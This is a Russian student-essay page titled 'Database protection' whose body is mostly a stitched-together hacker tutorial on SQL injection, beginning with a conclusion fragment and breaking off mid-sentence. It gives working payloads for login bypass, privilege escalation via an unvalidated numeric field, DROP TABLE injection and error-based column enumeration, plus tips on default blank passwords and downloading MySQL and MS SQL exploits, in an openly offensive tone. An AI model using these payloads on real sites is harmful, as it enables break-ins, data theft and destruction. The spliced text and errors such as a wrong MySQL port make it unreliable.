Защита баз данных

Автор работы: Пользователь скрыл имя, 02 Октября 2009 в 19:14, Не определен

Описание работы

В реферате содержится информация о современных методах защиты баз данных.

Файлы: 1 файл

ЯП.docx

— 217.65 Кб (Скачать файл)

       Заключение

       Мы  показали, что случается, когда разработчики полагаются на хорошую конфигурацию сервера и уделяют меньше внимания безопасному программированию. Мы показали, что SQL инъекции даже в очень ограниченной среде могут таить в себе огромные уязвимости.

       Для начала немного опишу саму технологию SQL, ведь тебе надо знать, что ты, собственно, будешь ломать.  
 
Вообще база данных SQL представляет собой набор банальных таблиц, где каждая колонка содержит данные определенного типа. Этим типом может быть число, строка, текст до 64 килобайт и кучка промежуточных вещей, добавленных с целью максимально оптимизировать размеры некоторых баз данных. В UNIX БД MySQL представляет собой простой каталог с файлами таблиц. Почему все юзают столь простую базу? SQL славится скоростью и юзабельностью. 
 
Ну, так вот, в SQL есть несколько основных команд работы с данными из базы - это SELECT, INSERT, UPDATE, DELETE, DROP. Признаком конца команды является точка с запятой. Опишем коротко каждую из основных команд.

       SELECT 

       Функция: вывод данных из таблицы. 

       Синтаксис: SELECT <названия полей> FROM <название таблицы> WHERE <название поля>=<значение>; 

       Параметр WHERE не обязателен, а команда 
 
 

       SELECT * FROM users; 

       покажет все данные таблицы "users". 
 
 

       INSERT 

       Функция: ввод данных в таблицу. 

       Синтаксис: INSERT INTO <название таблицы> (<перечисление полей> ) VALUES (<значения полей> ); 

       К примеру, 

       INSERT INTO users (login, password) VALUES ('hawker', 'qwerty'); 

       вставит в таблицу "users" новую строку,  

       причем  в столбике "login" будет значится "hawker", а в столбике "password" - "qwerty". 
 
 

       UPDATE 

       Функция: модификация данных в базе. 

       Синтаксис: UPDATE <название таблицы>  

       SET <название поля>=<значение поля>,..,<...>=<...> WHERE <название поля>=<значение  поля>; 

       К примеру, 

       UPDATE users SET password='asdfg' WHERE login='hawker'; 

       поменяет  поле "password" в строке, добавленной  выше. 
 
 

       DELETE 

       Функция: удаление данных из базы. 

       Синтаксис: DELETE FROM <название таблицы> WHERE <название поля>=<значение поля>; 

       К примеру, 

       DELETE FROM users WHERE login='hawker'; 

       удалит  строку, добавленную выше. 
 
 

       DROP 

       Функция: удаление таблицы. 

       Синтаксис: DROP TABLE <название таблицы>: 

       К примеру, 

       DROP TABLE users; 

       сотрет  всю таблицу "users".

       Плюс  к описанным командам есть еще: "CREATE DATABASE <имя базы>;" - для создания новой базы данных, "USE <имя базы>;" - для переключения текущей базы данных и "GRANT <права> ON <имя базы>.<имя  таблицы> TO <юзер>@<хост> IDENTIFIED BY 'пароль';" (к примеру, "GRANT all ON haxor.* TO hekker@localhost IDENTIFIED BY 'zloipass';" - добавит юзера "hekker" с паролем "zloipass" и всеми правами на базу данных "haxor"). 
 
Так, с основными командами мы познакомились. Теперь немного о том, где встречаются базы SQL. Вообще, сейчас популярно юзать MySQL + Perl или PHP. То есть в SQL хранятся какие-то данные, скажем, сообщения гостевухи или названия/URL порно-картинок, а Perl/PHP-скрипт обеспечивает доступ к имеющейся базе через Web. Туча народа активно юзает предложенную технологию, добавляя на своих сайтах SQL форумы, гостевухи, базы mp3-файлов. И, конечно, почти никто не задумывается о безопасности содеянного. Надо отметить, что доступ к базе данных SQL происходит после авторизации, для которой юзаются логин и пароль. К примеру, у MySQL эти данные хранятся в базе "mysql", таблице "users". У каждого юзера устанавливаются свои привилегии - что он может, а чего нет и в какой таблице/базе. 
 
 
Самый простой способ 
Некоторые извращенцы берут название таблицы прямо из URL. Ну, скажем, у чувака несколько форумов с разными названиями, для удобства он назвал таблицы в SQL, которые содержат мессаги форумов, также как сами форумы. Типа
http://blabla.ru/forum.php?forum=main выводит основной форум, а http://blabla.ru/ forum.php?forum=sex выводит форум для сексуально озабоченных. Параметр "forum", передаваемый из URL, в PHP/Perl-скрипте будет заноситься в переменную $forum. Таким образом, чувак везде в своих скриптах может писать что-то типа:

       SELECT * FROM $forum; 
DELETE FROM $forum WHERE id=5;

       и так далее... 
 
Проблема в том, что название таблицы обычно не проверяют на правильность. Тогда, если мы укажем в URL значение forum типа "main; DROP TABLE main; SELECT * FROM main", скрипт чувака может запустить команду:

       SELECT * FROM main; DROP TABLE main; SELECT * FROM main;

       Как видно, это не то, на что рассчитывал  творец с самого начала. Таким же образом мы можем вывести таблицу  с логинами и паролями форума (если таковые есть). 
 
Опять же оператор DROP сработает только в том случае, если чувак настолько тупой, что не убрал право стирать таблицы у SQL-ного юзера, под которым юзается скрипт. Поверь мне, таких даунов не мало. 
 
 
Заморочки 
Описанный выше способ часто применим и для других параметров, передаваемых в URL. Переменные типа символа или строки чаще всего обособляют, ведь иначе SQL сервер заплачет, что ему неправильно параметр дали. Но вот числа передаются "как есть", и проверку, что это действительно числа, делают далеко не все. Обычная команда, вставляющая данные, полученные от юзера, выглядит так:

       UPDATE <таблица> first_name='$fname', last_name='$lname', age=$age WHERE  

       id=<id юзера>;

       Допустим, это у нас база юзеров какого-то тупого чата (и мы находимся в  настройках), а также знаем, что  там есть еще поле level, в котором  содержится уровень привилегий, который, по дефолту, у юзверов, как несложно догадаться, "user", а у крутых и злых админов - "supervisor". 
 
Параметр "age", являющийся числом, отдается SQL'у без обособления (как и название таблицы), а также не проверяется в скрипте на корректность. Следовательно, если мы скажем им, что age = "25, level='supervisor'", то их тупой скрипт обновления установок юзверя пошлет такую команду на SQL-сервер:

       UPDATE <таблица> first_name='$fname', last_name='$lname', age=25,  

       level='supervisor' WHERE id=<id юзера>;

       Оп-ля, мы получили уровень админа. Напомню, что параметры можно передавать из URL (http://blabla.ru/cgi-bin/ change.pl?first_name=...&last_name=...?age=...) или из HTML файла. В последнем случае потребуется сохранить нужную страничку у себя на диске. Затем отредактировать, просмотреть со своего винта и нажать "submit" (это сработает не везде, многие смотрят в поле http_referer и на cookies, которые, правда, тоже можно подделать . 
 
Стандартные юзеры 
В Microsoft SQL сервере для нас предусмотрели дефолтного юзера "sa" без пароля, а в MySQL сервере по дефолту идет "root" без пароля. Только законнектиться ты сможешь не на всякий сервер. MySQL обычно сидит на 3366 порту, а Microsoft SQL - на 1433-м. Проверь телнетом - открыт ли он :). Если да - собери у себя клиент (его можно бесплатно слить на
www.mysql.com) и попробуй проломиться на сервер под перечисленными выше аккаунтами. Кстати, в случае виндов Microsoft SQL обычно запускают под админом, и если там оставлен стандартный юзер, то ты можешь свободно слить http://www.securiteam.com/exploits/ 5YP0D003FQ.html (прогу на Visual C++ 6.0) и получить "командную строку" на сервере. 
 
Получаем рута локально 
Поиметь базу, безусловно, очень интересно (особенно если она с Credit Cards =), но еще интереснее захватить всю тачку. И специально для этого предусмотрительные кодеры SQL постоянно допускают всяческие ошибки :). Только тебе в большинстве случаев будет нужен shell-доступ к тачке, на которой крутиться SQL-сервер. Замечу, что у большинства админов MySQL запущен не под root'ом, т.е. так, что ты получишь доступ только к самой базе данных. 
 
1. MySQL 3.20.32. Этот MySQL имеется локально (в смысле нужен shell-доступ), причем необходим клиент (обычно это "/usr/bin/mysql", может быть "/usr/local/bin/mysql"). Слей эксплоит с
http://www.hack.co.za/exploits/ daemon/sql/mysql.sh. Тебе потребуется рабочий аккаунт в базе, и если mysqld висит под root'ом - ты благополучно заполучишь тачку. 
 
2. MS SQL 7.00.699. Можно убить Microsoft SQL рассматриваемой неудачной версии, причем удаленно. Проверь, открыт ли на тачке 1433 порт. Если SQL-сервер получит по этому порту в потоке TCP больше двух нулевых (NULL или

       Объектом  нашего внимания станут базы данных SQL которые активно используются для  организации работы сложных Web приложений. Нашим заданием станет манипулирование SQL запросом. Вот небольшой пример... 
Вы зашли на сайт, где требуется авторизация. Все, что от вас требуется это ввести правильный логин и пас. Но что делать, если таковых в наличии не имеется? Ту вступает в силу такой раздел, как SQL Injection. Допустим введенные данные проверяются таким SQL запросом:

       $result=mysql_db_query($db,"SELECT * FROM $table WHERE user='$login' AND  
pass='$password'");

       $num_rows=mysql_num_rows($result);

       mysql_close($link);  

       if ($num_rows!=0)

          { // AUTHENTICATION OK }  
else

          { // AUTHENTICATION ERROR }

       (пример  взят с пятого уровня NGSec Game)  
 
Когда мы вводим данные то наш SQL запрос будет иметь такой вид:

       SELECT * FROM users WHERE user='admin' AND pass='admin'

       Где "admin" введенный логин, а "admin" пароль. Как вы думаете что произойдет, если ввести имя пользователя например "adm'in". Давайте посмотрим какой  запрос получится на этот раз...

       SELECT * FROM users WHERE user='adm'in' AND pass='admin'  
 
На этот раз мы получим сообщение об ошибке, что-то вроде этого  
 
Server: Msg 170, Level

       15, State 1, Line 1  
Line 1: Incorrect syntax near 'in'.

       Значит  все ок, данный скрпт не проверяет  входные данные. А теперь немного  логики и мы имеем такое условие:

       if ((true=false) or (true=true)) then ..  
 
Это условие будет всегда

       верным. А что если в запросе место  логина ввести такую шнягу "admin' or ' '=' '-

       -", где "--" означает конец запроса?  Получится вот что:  
 
SELECT * FROM

       users WHERE user='admin' or ' '=' '--AND pass='admin'

       Oh no! Мы вошли не зная ни пароля, ни логина :). Прикол в том что  вот какой запрос у нас вышел:  если логин admin есть в базе  данных или пробел равен пробелу,  тогда авторизация прошла успешно,  ни о каком пароле речь не  идет, так как на этом запрос  считается оконченным :)  
 
Надеюсь все понятно? А теперь немного дикой практики... Если ввести логин "admin'; drop table $table--" то мы удалим базу данных. Но все не так просто. А если ее название хранится в ругой переменной или прописано в самом коде, что тогда? Надо узнать имя БД... Чтобы продолжить будем анализировать ODBC сообщения об ошибках, приступим... Введем логин " ' having 1=1--" на что сервер обругается где-то так:

       Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  
[Microsoft][ODBC

       SQL Server Driver][SQL Server]  
Column 'users.status' is invalid in the

       select list because it is not contained  
in an aggregate function and there

       is no GROUP BY clause.

       Теперь  нам известно, что имя базы данных "users", а первая колонка называется "status". Неплохо, тоесть снести все  нахрен мы уже сможем :), но давайте  попробуем добавить себя в базу данных, чтобы потом не парится. Но чтобы  себя добавить нам надо знать количество и название полей. Давайте введем такое чудо:

       " ' group by users.id having

       1=1--"

       Получим вот что:

       Column 'users.username' is invalid in the select list because it is not contained in

       either an aggregate function or the GROUP BY clause.

       Значит  нам теперь известно второе поле, дальше... набиваем:

       " ' group by users.status, users.username having

       1=1--"

       и так последовательно узнаем все  поля, до тех пор пока в ответ  мы не получим ошибки. Допустим это  получилось и 

       " ' group by users.status,

       users.username, users.password, users.mail having 1=1--"

       не  вызвало ошибок. Отлично! Значит все  поля это status, username, password и mail. Но теперь мы должны узнать тип используемый для каждого поля. Введем место логина такое:

       " ' union select sum(username) from users--"

       и что мы видим? А вот что :

       The sum or average aggregate operation cannot take a

       varchar data type as an argument.

       А значит это что username это varchar, то бишь строка. Теперь набиваем:

       " ' union select sum(status) from

       users--".

       Смотрим на результат:

       All queries in an SQL statement containing a UNION operator must have an

       equal number of expressions in their target lists. 

                    
Это значит что поле status - число. Все теперь добавляем

Информация о работе Защита баз данных